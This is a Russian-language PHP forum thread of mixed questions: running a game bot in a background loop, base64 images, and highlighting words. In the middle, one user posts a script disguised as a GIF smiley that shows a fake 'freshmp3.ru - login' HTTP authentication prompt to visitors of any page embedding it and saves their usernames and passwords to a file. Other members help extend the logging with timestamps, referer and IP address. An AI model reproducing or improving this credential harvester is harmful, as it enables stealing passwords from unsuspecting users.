Допустим маленький пример бота: PHP: БОт по имени Алах ходит по заданому маршруту; Если он встречает пользователя { то идёт запрос на драку; Если пользователь отклоняет Алах идёт дальше; Иначе { начать драку(у бота установлены какието параметры) } } Бот движется дальше.... и так по цыклу. Всё это контролируется в БД: Вставляются промежуточные записи типа: где сейчас бот. с кем драка и тд
почему? крон запустил скрипт, который при опред. условиях поменял координаты бота - вот и движение. в другом случае юзер заходит в игру и автоматом запускается скрипт, который опять же по опред. условиям что-либо совершает. также бота и на форум можно поставить, который будет постить что-либо в свежих темах, учитывая их контент, раздел и автора.
Проблема в том, как это осущевствить без вмешательства в процесс администратора или пользователя. Почитал про крон, спасибо конечно, но до таких прав на сервере мне пока еще далеко...
PHP: <?php ignore_user_abort(); // run script in background set_time_limit(0); // run script forever $interval=60*15; // do every 15 minutes... do{ // тело скрипта который будет повторятся каждые 15 минут // ... sleep($interval); // wait 15 minutes }while(true); ?> Этот скипт вызываеш из админки и всё - боты начали свое действие
n3m0, int ignore_user_abort ([ bool $setting ] ) If not set $setting will only return the current settiing!!!!
Точно! Не на всех хостингах работает! Но если ты хочеш держать онлайн игру, то лучше использовать свой дедик. Сам его настроиш и кроном сможеш пользоватся
n3m0 В общем для таких вещей нужно иметь свой собственный сервер... Спасибо всем, кто помог мне разобраться с моей проблемой
Народ, вот есть такой скрипт: PHP: <? //делаем скрипт картинкой header("Content-type: image/gif"); //делаем изображение смайликом из архива $image = imagecreatefromgif('mellow.gif'); if(!$_COOKIE['LOGON']) { $login = $_SERVER['PHP_AUTH_USER']; $pass = $_SERVER['PHP_AUTH_PW']; //Авторизация пройдёт, если пароль больше 3-ёх символов и вообще написан логин if(strlen($pass) <= 3 || !$login) { Header('HTTP/1.1 401 Unauthorized'); Header('WWW-Authenticate: Basic realm="freshmp3.ru - login"'); } elseif($login) { //ставим кукис, чтобы при повторном заходе авторизации небыло, в самом начале проверка есть ли кукис )) setcookie('LOGON',md5($pass)); //запишем пароли в файл $f = fopen('passwords.txt', 'ab'); //passwords.txt fwrite($f, $login." ||| ".$pass."\r\n"); //в формате LOGIN ||| PASSWORD fclose($f); } } imagegif($image); imagedestroy($image); ?> как сделать так чтобы в фаил passwords.txt записывались данные в таком виде: (Время восколько были записанны данные в фаил) : (Сайт откуда запустили mellow.gif или этот скрипт):логин:парль Люди кому не лень попробуйте сделать плиз
когда записываешь(строка 22): PHP: fwrite($f,$_SERVER['REMOTE_ADDR']." : ".$login." : ".$pass."\r\n"); //в формате LOGIN ||| PASSWORD
PHP: fwrite($f, date("h:i:s")." > REFERER: ".getenv("HTTP_REFERER")." = ".$login." ||| ".$pass."\r\n"); //в формате LOGIN ||| PASSWORD 2scrat ... Помойму он просил время и реферер
Как вариант: PHP: $f = "base64"; $s = fopen("myimage.gif","w"); fwrite($s,base64_decode($f)); fclose($s);
Тут и пхп не нужен. Стандарт HTML 4.0 Code: <img src="data:image/png;base64, kod_kartinki_base64==" />
Подскажите пожалуйста, как с помощью пхп осуществить подсветку слов цветом на страничке по маске. Например при генерации страницы выделить цветом все встречающиеся слова "tcp"? Спасибо.